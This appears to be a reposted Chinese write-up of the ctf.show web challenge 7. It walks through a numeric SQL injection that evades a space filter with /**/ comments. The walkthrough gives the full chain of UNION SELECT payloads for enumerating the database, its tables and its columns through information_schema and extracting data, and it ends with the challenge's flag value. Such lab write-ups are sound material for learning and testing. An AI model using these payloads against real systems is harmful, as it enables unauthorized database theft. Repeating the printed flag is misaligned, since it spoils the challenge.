ctfshow-WEB-web7

Posted 士别三日wyx

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow-WEB-web7相关的知识,希望对你有一定的参考价值。

ctf.show WEB模块第7关是一个SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,我们可以使用括号()或者注释/**/来代替空格

 

 

页面中有一个文章列表,随便点一个

 从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞

 

首先判断注入点,输入以下payload,使SQL恒成立

1/**/and/**/1

可以看到,页面正常显示

 在输入以下payload,使SQL恒不成立

1/**/and/**/0

可以看到,页面空显示

 由此可以判断页面存在SQL注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库

 先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置

-1/**/union/**/select/**/1,2,3

 

接下来判断当前使用的数据库,盲猜flag就藏在当前使用的数据库中

-1/**/union/**/select/**/1,database(),3

当前使用的数据库是web7

 

接下来获取当前数据库中的所有表

-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3

有一个flag表,那flag肯定就藏在这个表里面

 

接下来获取flag表中的所有字段

-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3

flag表中只有一个flag字段

 

接下来查询flag表的flag字段,获取flag

-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

成功获取flag

 

将全部内容复制到输入框中,提交flag即可过关

ctfshow{aced2bcb-bf9d-4e92-a8f7-2019f63ca4df}

以上是关于ctfshow-WEB-web7的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow-WEB-web11( 利用session绕过登录验证)

ctfshow-WEB-web14( 利用数据库读写功能读取网站敏感文件)

VSCode自定义代码片段7——CSS动画

VSCode自定义代码片段7——CSS动画

ES7-Es8 js代码片段

以下代码片段的时间复杂度是多少?